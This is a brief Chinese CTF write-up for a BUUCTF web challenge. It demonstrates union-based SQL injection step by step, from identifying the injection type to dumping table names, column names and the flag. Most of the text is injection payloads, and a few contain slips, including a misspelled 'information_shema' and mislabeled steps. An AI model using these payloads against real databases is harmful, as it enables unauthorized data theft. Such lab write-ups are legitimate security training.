字符型注入
(Buuctf web第一章)
判断是字符型注入还是整数型注入
输入:id=1 and 1=1--+
id=1 and 1=2--+
[页面无变化,证明不是整数型注入]
输入:id=1' and 1=1--+
id=1' and 1=2--+
[页面出现报错,为字符型注入]
输入:
id=1' order by 3--+ [产生回显,证明字段数为3]
查询注入位置:
输入:
id=-1' union select 1,2,3
注入位置为2;
利用联合查询,查询数据库名:
输入:
?id=-1' union select 1,database(),3 --+
数据库名为note;
查询当前数据库表名:
输入:
id=-1' union select 1,2,group_concat(table_name)from information_shema.tables where table_schema=database()--+
查询fl4g表中内容:
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+
查询fllllag中字段:
id=-1' union select 1,database(), group_concat(fllllag) from fl4g --+
得到flag;